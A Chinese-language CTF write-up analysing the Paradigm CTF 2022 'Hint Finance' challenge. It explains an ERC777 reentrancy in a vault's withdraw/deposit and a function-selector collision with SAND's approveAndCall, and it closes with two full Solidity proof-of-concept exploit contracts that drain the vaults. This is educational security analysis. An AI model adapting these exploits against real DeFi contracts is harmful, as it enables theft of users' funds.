学院 安全深度 文章

链上卫士:Paradigm CTF 2022 题目浅析—Hint Finance

2022.09.14 0xc730

题目背景

在Paradigm CTF 2022中有着这样一道DeFi金融赛题,它为我们提供了三个参考合约,作为解题帮助。

HintFinanceVault.sol

...
    function getRewards() external updateReward(msg.sender) {
        for (uint i; i < rewardTokens.length; i++) {
            address rewardToken = rewardTokens[i];
            uint256 reward = rewards[msg.sender][rewardToken];
            if (reward > 0) {
                rewards[msg.sender][rewardToken] = 0;
                ERC20Like(rewardToken).transfer(msg.sender, reward);
            }
        }
    }

    function deposit(uint256 amount) external updateReward(msg.sender) returns (uint256) {
        uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
        uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal;
        ERC20Like(underlyingToken).transferFrom(msg.sender, address(this), amount);
        totalSupply += shares;
        balanceOf[msg.sender] += shares;
        return shares;
    }

    function withdraw(uint256 shares) external updateReward(msg.sender) returns (uint256) {
        uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
        uint256 amount = shares * bal / totalSupply;
        ERC20Like(underlyingToken).transfer(msg.sender, amount);
        totalSupply -= shares;
        balanceOf[msg.sender] -= shares;
        return amount;
    }

    function flashloan(address token, uint256 amount, bytes calldata data) external updateReward(address(0)) {
        uint256 supplyBefore = totalSupply;
        uint256 balBefore = ERC20Like(token).balanceOf(address(this));
        bool isUnderlyingOrReward = token == underlyingToken || rewardData[token].rewardsDuration != 0;

        ERC20Like(token).transfer(msg.sender, amount);
        IHintFinanceFlashloanReceiver(msg.sender).onHintFinanceFlashloan(token, factory, amount, isUnderlyingOrReward, data);

        uint256 balAfter = ERC20Like(token).balanceOf(address(this));
        uint256 supplyAfter = totalSupply;

        require(supplyBefore == supplyAfter);
        if (isUnderlyingOrReward) {
            uint256 extra = balAfter - balBefore;
            if (extra > 0 && token != underlyingToken) {
                _updateRewardRate(token, extra);
            }
        } else {
            require(balAfter == balBefore); // don't want random tokens to get stuck
        }
    }
    ...

该合约是金库类型合约主要提供质押服务和贷款服务,质押服务能获取收益。

HintFinanceFactory.sol

...   
    function createVault(address token) external returns (address) {
        require(underlyingToVault[token] == address(0));
        address vault = underlyingToVault[token] = address(new HintFinanceVault(token));
        vaultToUnderlying[vault] = token;
        return vault;
    }

    function addRewardToVault(address vault, address rewardToken) external {
        require(rewardTokenWhitelist[rewardToken]);
        require(vaultToUnderlying[vault] != address(0) && vaultToUnderlying[vault] != rewardToken);
        HintFinanceVault(vault).addReward(rewardToken, rewardDuration);
    }
...

该合约只提供创建新质押金库功能和添加奖励代币功能。

Setup.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

import "./HintFinanceFactory.sol";

interface UniswapV2RouterLike {
    function swapExactETHForTokens(uint amountOutMin, address[] memory path, address to, uint deadline) external payable;
}

contract Setup {

    address[3] public underlyingTokens = [
        0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD,
        0x3845badAde8e6dFF049820680d1F14bD3903a5d0,
        0xfF20817765cB7f73d4bde2e66e067E58D11095C2
    ];

    address[3] public rewardTokens = [
        0xdAC17F958D2ee523a2206206994597C13D831ec7,
        0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,
        0x6B175474E89094C44Da98b954EedeAC495271d0F
    ];

    uint256[3] public initialUnderlyingBalances;
    HintFinanceFactory public hintFinanceFactory = new HintFinanceFactory();

    constructor() payable {
        
        UniswapV2RouterLike router = UniswapV2RouterLike(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a);
        address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address[] memory path = new address[](2);
        path[0] = weth;

        for (uint256 i = 0; i < underlyingTokens.length; ++i) {
            // swap for underlying tokens
            path[1] = underlyingTokens[i];
            router.swapExactETHForTokens{value: 10 ether}(0, path, address(this), block.timestamp);
            
            // add underlying token to vault
            address vault = hintFinanceFactory.createVault(underlyingTokens[i]);
            ERC20Like(underlyingTokens[i]).approve(vault, type(uint256).max);
            HintFinanceVault(vault).deposit(ERC20Like(underlyingTokens[i]).balanceOf(address(this)));
            initialUnderlyingBalances[i] = ERC20Like(underlyingTokens[i]).balanceOf(vault);
        }

        for (uint256 i = 0; i < rewardTokens.length; ++i) {
            hintFinanceFactory.modifyRewardTokenWhitelist(rewardTokens[i], true);
        }
    }
    
    function isSolved() public view returns (bool) {
        for (uint256 i = 0; i < underlyingTokens.length; ++i) {
            address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
            uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault);
            if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) return false;
        }
        return true;
    }
}

Setup合约是部署合约,它在初始化时创建了三个质押金库合约并进行初始质押,其质押代币分别为PNT、SAND和AMP,通关条件为取走三个金库中初始质押99%以上的资产。

合约分析

ERC777重入

收集有效信息可以发现,在Setup合约中设置的质押代币PNT和AMP都为ERC777代币,SAND为ERC20代币。结合历史ERC777重入攻击事件,我们先从HintFinanceVault合约入手检查是否有ERC777重入可能。

    function deposit(uint256 amount) external updateReward(msg.sender) returns (uint256) {
        uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
        uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal;
        ERC20Like(underlyingToken).transferFrom(msg.sender, address(this), amount);
        totalSupply += shares;
        balanceOf[msg.sender] += shares;
        return shares;
    }

    function withdraw(uint256 shares) external updateReward(msg.sender) returns (uint256) {
        uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
        uint256 amount = shares * bal / totalSupply;
        ERC20Like(underlyingToken).transfer(msg.sender, amount);
        totalSupply -= shares;
        balanceOf[msg.sender] -= shares;
        return amount;
    }

检查HintFinanceVault合约发现depositwithdraw函数都没有进行重入限制,存在重入风险。

发现利用点,那么如何利用?这需要回到ERC777代币自身特性上来。

简要说明,ERC777 代币是实现了ERC777 标准附属功能的向后兼容性ERC20代币,附属功能中极为重要的就是transfer/transferFrom函数中都实现了pre-transfer hookpost-transfer hook方法。

function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
        require(recipient != address(0), "ERC777: transfer to the zero address");
        require(holder != address(0), "ERC777: transfer from the zero address");

        address spender = _msgSender();
        //pre-transfer hook
        _callTokensToSend(spender, holder, recipient, amount, "", "");

        _move(spender, holder, recipient, amount, "", "");
        _approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
        //post-transfer hook
        _callTokensReceived(spender, holder, recipient, amount, "", "", false);

        return true;
    }

ERC777标准还要求代币转账双方都要进行EIP-1820注册。实际转账过程中:

  1. 已进行EIP-1820注册,则调用发送者的pre-transfer hook
  2. 修改转账人、接收人余额
  3. 已进行EIP-1820注册,则调用发送者的 post-transfer hook

重入思路:

首先分析depositwithdraw函数的shares计算逻辑:

Deposit:

shares = amount * totalSupply / bal

Withdraw:

shares = amount * bal / totalSupply

sharesbaltotalSupply决定。

结合代码,在进行重入攻击时相应状态不会立即更新,所以totalSupply不变,也就是bal直接决定shares

继续深挖,发现可以通过withdraw函数来重入deposit函数,保持totalSupply不变bal减小而shares增加。

具体实现:在 post-transfer hook方法中实现对应ERC777代币的deposit函数

    function tokensReceived(
        bytes4 functionSig,
        bytes32 partition,
        address operator,
        address from,
        address to,
        uint256 value,
        bytes calldata data,
        bytes calldata operatorData
    ) external {
        if (operator == address(ampVault) && doReDeposit) {
            ERC20Like amp = ERC20Like(ampVault.underlyingToken());
            ampVault.deposit(amp.balanceOf(address(this)));
        }
    }

函数选择器碰撞

继续顺着代币存在潜在风险的的思想,检查sand代币,果然发现其不同于普通的ERC20代币,也有类似ERC777协议的附属功能实现,但是并不存在可利用的hook。

那么只能回到HintFinanceVault合约中,检查新的可利用外部调用。发现在flashloan函数中还存在onHintFinanceFlashloan方法能进行外部回调,但是flashloan函数有做借贷资产前后余额变化的校验,也就无法直接通过重入flashloan函数来完成攻击。

再仔细检查sand代币附属功能,发现这样一个函数approveAndCall,它能对某个对象进行授权后再发起call调用。考虑到网络钓鱼中常见的ERC20授权攻击,这是值得注意的问题,但这依然无法直接利用。

functionapproveAndCall(        address target,        uint256 amount,        bytes calldata data) external payable returns (bytes memory) {require(BytesUtil.doFirstParamEqualsAddress(data, msg.sender),"first param != sender"        );_approveFor(msg.sender, target, amount);// solium-disable-next-line security/no-call-value        (bool success, bytes memory returnData) = target.call.value(msg.value)(data);require(success, string(returnData));return returnData;    }

还有一种可能,既然函数不存在问题那函数选择器是否存在风险?因为在ABI 规范中规定了函数选择器必须是函数签名的前 4 个字节,而这存在碰撞风险。果然,onHintFinanceFlashloanapproveAndCall方法的函数选择器相同。

利用思路:

首先要解决onHintFinanceFlashloanapproveAndCall传参calldata如何保持格式一致的问题。

onHintFinanceFlashloanapproveAndCall参数对比

0x20   vault: token,                    SAND: target
0x40   vault: factory                   SAND: amount
0x60   vault: amount                    SAND: ?
0x80   vault: isUnderlyingOrReward      SAND: ?
0xa0   vault: data                      SAND: data

在参数对比中有两个地方需要我们构建,SAND对应0x60和0x80的数据。对应vault: amount部分,可以用0xa0来填充这将让approveAndCall在尝试获取数据时会找到data提供的数据 。对应vault: isUnderlyingOrReward部分,由于数据是bool类型因此可以直接用0填充。还有一点要注意的是在approveAndCal方法中要求第一个参数是必须是msg.sender,因此第一个参数必须是对应HintFinanceVault合约地址。

最后由于approve对象是代币合约类型,因此攻击合约还可以伪装成代币合约,或者直接将balanceOf编码进data中。

ERC777重入POC:

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.13;

import  "./Setup.sol";
import  "./HintFinanceVault.sol";

interface IERC1820Registry {
    function setInterfaceImplementer(
        address account,
        bytes32 interfaceHash,
        address implementer
    ) external;
}

contract ERC777Reenterer {
    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
       keccak256("ERC777TokensRecipient");

    IERC1820Registry internal constant _ERC1820_REGISTRY =
        IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);

    bytes32 private constant _AMP_INTERFACE_HASH =
        keccak256("AmpTokensRecipient");

    HintFinanceVault internal immutable pntVault;
    HintFinanceVault internal immutable ampVault;
   

    address pntAddr = 0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD;
    address ampAddr = 0xfF20817765cB7f73d4bde2e66e067E58D11095C2;

    bool internal doReDeposit = true;

    constructor(address _pntVault, address _ampVault) {
        _ERC1820_REGISTRY.setInterfaceImplementer(
            address(0),
            _TOKENS_RECIPIENT_INTERFACE_HASH,
            address(this)
        );
        _ERC1820_REGISTRY.setInterfaceImplementer(
            address(0),
            _AMP_INTERFACE_HASH,
            address(this)
        );       
        pntVault = HintFinanceVault(_pntVault);
        ampVault = HintFinanceVault(_ampVault);
     
    }

    function depositPnt() public  {
        ERC20Like pnt = ERC20Like(pntVault.underlyingToken());
        pnt.approve(address(pntVault), type(uint256).max);
        pntVault.deposit(pnt.balanceOf(address(this)));
    }

    function depositAmp() public  {
        ERC20Like amp = ERC20Like(ampVault.underlyingToken());
        amp.approve(address(ampVault), type(uint256).max);
        ampVault.deposit(amp.balanceOf(address(this)));
    }

    function doPntDiluteCycle() public  {
        pntVault.withdraw(pntVault.balanceOf(address(this)));
    }

    function doAmpDiluteCycle() public  {
        ampVault.withdraw(ampVault.balanceOf(address(this)));
    }

    function cashOutPnt() public  {
        ERC20Like pnt = ERC20Like(pntVault.underlyingToken());
        doReDeposit = false;
        pntVault.withdraw(pntVault.balanceOf(address(this)));
        doReDeposit = true;
        pnt.transfer(msg.sender, pnt.balanceOf(address(this)));
    }

    function cashOutAmp() public  {
        ERC20Like amp = ERC20Like(ampVault.underlyingToken());
        doReDeposit = false;
        ampVault.withdraw(ampVault.balanceOf(address(this)));
        doReDeposit = true;
        amp.transfer(msg.sender, amp.balanceOf(address(this)));
    }
    function _buyWithEth(
        address _token,
        uint256 _amount,
        address _recipient
    ) internal {
        address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address[] memory path = new address[](2);
        path[0] = weth;
        path[1] = _token;
        UniswapV2RouterLike(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a)
            .swapExactETHForTokens{value: _amount}(
            0,
            path,
            _recipient,
            block.timestamp + 7 days
        );
    }

    function test() public payable {

        _buyWithEth(pntAddr, 100 ether, address(this));
        depositPnt();
        doPntDiluteCycle();
        doPntDiluteCycle();
        doPntDiluteCycle();
        doPntDiluteCycle();
        cashOutPnt();

        _buyWithEth(ampAddr, 100 ether, address(this));
        depositAmp();
        doAmpDiluteCycle();
        doAmpDiluteCycle();
        doAmpDiluteCycle();
        doAmpDiluteCycle();
        cashOutAmp();
    }


    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {
        if (operator == address(pntVault) && doReDeposit) {
            ERC20Like pnt = ERC20Like(pntVault.underlyingToken());
            pntVault.deposit(pnt.balanceOf(address(this)));
        }
    }

    function tokensReceived(
        bytes4 functionSig,
        bytes32 partition,
        address operator,
        address from,
        address to,
        uint256 value,
        bytes calldata data,
        bytes calldata operatorData
    ) external {
        if (operator == address(ampVault) && doReDeposit) {
            ERC20Like amp = ERC20Like(ampVault.underlyingToken());
            ampVault.deposit(amp.balanceOf(address(this)));
        }
    }
}

SandPOC

pragma solidity ^0.8.13;

import  "./Setup.sol";
import  "./HintFinanceVault.sol";

interface ISand  {
    function approveAndCall(address _target,uint256 _amount,bytes calldata _data) external;
    function balanceOf(address who) external view returns (uint);
    function transferFrom(address src, address dst, uint qty) external returns (bool);
}

contract Token1 {
    fallback() external {}

    function transfer(address, uint256) external returns (bool) {
        return true;
    }

    function balanceOf(address) external view returns (uint256) {
        return 1e18;
    }

    function Sandtest(address _sandVault, ISand _sand) external {
        bytes memory innerPayload = abi.encodeWithSelector(
            bytes4(0x00000000),
            _sandVault,
            bytes32(0),
            bytes32(0),
            bytes32(0)
        );
        bytes memory payload = abi.encodeCall(
            HintFinanceVault.flashloan,
            (address(this), 0xa0, innerPayload)
        );
        _sand.approveAndCall(_sandVault, type(uint256).max, payload);
        _sand.transferFrom(_sandVault, msg.sender, _sand.balanceOf(_sandVault));
    }
}

contract SandPOC  {
   Setup setup = Setup(0xB40a90fdB0163cA5C82D1959dB7e56B50A0dC016);

   ISand sand = ISand(0x3845badAde8e6dFF049820680d1F14bD3903a5d0);


    function test() public {
        HintFinanceVault sandVault = HintFinanceVault(
            setup.hintFinanceFactory().underlyingToVault(address(sand))
        );
        Token1 token1 = new Token1();
        token1.Sandtest(address(sandVault), sand);

    }
}

免责声明:OKLink学院仅提供信息参考,不构成任何投资建议。

相关推荐

security-insight